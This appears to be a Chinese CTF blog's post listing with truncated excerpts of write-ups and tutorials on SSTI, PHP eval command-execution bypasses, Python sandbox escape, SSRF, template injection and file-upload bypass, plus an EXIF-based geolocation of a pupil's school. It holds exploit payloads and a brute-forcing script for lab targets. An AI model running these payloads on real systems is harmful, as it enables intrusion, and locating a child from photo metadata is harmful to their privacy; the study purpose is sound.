Misc先来签个到吧点击链接,百度网盘提取,看视频
看到要到一半的时候会突然闪过一个二维码,于是就是见手速的时候了,在这几秒疯狂疯狂暂停,最终暂停到了二维码处,扫码得到flag
爬山给了一张图片
打开kali,在终端输入命令:exiftool 图片名,得到图片的具体信息,最后几行是拍摄的经纬度:24 deg 30' 17.30" N;118 deg 3' 20.03" E,拿给gpt稍修一下得到:24°30'17"N 118°3'20"E,把该坐标拿到谷歌地球中搜索一下,发现位于厦门市海沧区的一个公园附近,已知小涂是小学生,上的是小学,开始社工,启动高德地图,搜索海沧区小学,把搜索到的小学名一个个输进去,最后得到是天堂山小学
webezzzzzzzzz_PTA进入环境发现要让我们写python代码,盲猜ssti漏洞
开始测试,首先输入 print([].__class__.__base__.__subclasses__())得到所有的子类,然后发现我要使用的<class 'subprocess.Pop ...
q
前言在刷命令执行的题目之前,建议先仔细阅读一下这篇文章:CTF中常见RCE命令执行绕过技巧
ctfshow-web291234567891011<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
首先 ?c=system('ls');查看当前目录下的文件,发现了flag.php
由于题目所限,可以使用通配符来绕过?c=system(%27cat%20./fla?.php);,右键查看源码得到flag
ctfshow-web301234567891011<?phperror_reporting(0);if(isset($_GET['c'])) ...
前言想要了解明白这个漏洞,我们就需要知道一些前提
同源策略 (Same Origin Policy)
同源策略的基本原则是:当一个浏览器加载一个源(Origin)的文档或脚本时,它将只允许该文档或脚本与其自身相同源的资源进行交互,而不允许与其他源的资源进行直接交互。这种限制有助于防止恶意网站获取用户的敏感信息或进行未经授权的操作。
同源策略通常应用于以下方面:
DOM访问限制:一个源的JavaScript代码只能访问来自相同源的DOM对象,不能直接操作其他源的DOM对象。
Cookie限制:浏览器会将Cookie与其关联的源关联起来,并且在同源策略下,一个源的Cookie不会被发送到另一个源。
XHR请求限制:XMLHttpRequest对象(用于AJAX请求)在同源策略下只能向同一源发起请求。
Frame和iFrame限制:同源策略限制了页面中一个frame或iframe内加载的内容只能来自相同的源。
两个URL只有在以下所有方面都匹配时才被视为同源:
协议(Protocol):两个URL的协议必须相同,例如都是HTTP或都是HTTPS。
主机名(Host):两个URL的主机名 ...
Write-Up
未读Ez ⛳ v2按照题解中所讲下面这段代码比较重要
1234567891011ua.caddy.chal-kalmarc.tf {tls internaltemplatesimport html_reply `User-Agent: {{.Req.Header.Get "User-Agent"}}`}http.caddy.chal-kalmarc.tf {tls internaltemplatesimport html_reply "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."}
发现User-Agent处有可能是存在模板注入的,所以我们去试验一下 {{7}},会回显,但是输入其他的比如 {{7*7}}的时候会返回500,这 ...
SSRF(Server Side Request Forgery服务端请求伪造),是一种由攻击者构造但是由服务端发起请求的一个安全漏洞。SSRF的攻击目标一般是从外网无法访问的内部服务器。
SSRF漏洞的原理
SSRF漏洞原理
(1)攻击者可以通过公网访问到某个web服务器;
(2)但是攻击者是无法通过公网访问到内网的其他设备或者办公区域;
(3)这时候如果想进行内网探测,web服务器同时存在SSRF漏洞,就能以web服务器作为跳板,进而攻击其他服务器或区域
SSRF利用的条件:
(1)web服务器存在SSRF漏洞;
(2)web服务器有访问本地或远程服务器的权限;
SSRF存在的位置:一般是web服务器提供了从其他服务器获取数据的功能。
(1) 分享功能:通过URL地址分享文章等,例如如下地址:
1http://share.xxx.com/index.php?url=http://www.xxx.com
通过url参数的获取来实现点击链接的时候跳到指定的分享文章。如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。
(2)图片加载/下载:通过URL ...
CTF
未读引用Python 沙箱逃逸的经验总结
执行系统命令基础知识在 Python 中执行系统命令的方式有:
os
commands:仅限2.x
subprocess
timeit:timeit.sys、timeit.timeit("__import__('os').system('whoami')", number=1)
platform:platform.os、platform.sys、platform.popen('whoami', mode='r', bufsize=-1).read()
pty:pty.spawn('ls')、pty.os
bdb:bdb.os、cgi.sys
cgi:cgi.os、cgi.sys
…
以下为一个脚本测试了一下所有的导入 os 或者 sys 的库:
12345678910111213141516171819202122232425262728293031323334353637383940414243#-*- coding:utf8 -*-# By ...
level-1(no waf)遍历目标中含有内建函数 eval 的子类的索引号:
123456789101112import requestsif __name__ == "__main__": post_url = "http://124.70.99.199:10086/level/1" for i in range(200): param = { 'code': "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}" } res = requests.post(post_url, data=param) if 'eval' in res.text: ...
前端检测主要是通过javascript代码进行检测,非常容易进行绕过。
原理Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。由于恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。
如何判断当前页面使用前端is的验证方式
前端验证通过以后,表单成功提交后会通过浏览器发出─条网络请求,但是如果前端验证不成功,则不会发出这项网络请求;可以在浏览器的网络元素中查看是否发出了网络请求。
绕过方法
删除或者禁用js:火狐浏览器-->about:config-->JavaScriptenable-false (ajax)
使用代理上传文件,Burp Suite;上传符合要求的文件类型,抓包修改文件类型。
直接删除代码中onsubmit事件中关于文件上传时验证上传文件的相关代码即可或者可以不加载所有js,还可以将html源码copy一份到本地,然后对相应代码进行修改,本地提交即可。
CTFHub-web-文件上传-前端验证首先查看源码发现发现只允许jpg等几种后缀名文 ...
常用魔术方法__class____class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 __class__ 是类的一个内置属性,表示类的类型,返回 <type 'type'> ; 也是类的实例的属性,表示实例对象的类。
12345678>>> ''.__class__<type 'str'>>>> ().__class__<type 'tuple'>>>> [].__class__<type 'list'>>>> {}.__class__<type 'dict'>
获取基类__bases__:用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组(虽然只有一个元素)。注意是直接父类!!!
123456789101112> ...
知识1、数组绕过正则表达式123456if(preg_match("/[0-9]/", $num)){ die("no no no!"); }else(intval($num)){ echo $flag; }
preg_match第二个参数要求是字符串,如果传入数组则不会进入if语句
payload:num[]=1
2、intval函数的使用1intval( mixed $value, int $base = 10) : int
如果 base 是 0,通过检测 value 的格式来决定使用的进制:◦ 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,◦ 如果字符串以 “0” 开始,使用 8 进制(octal);否则,◦ 将使用 10 进制 (decimal)
123456789if($num==="4476"){ die("no no no!"); ...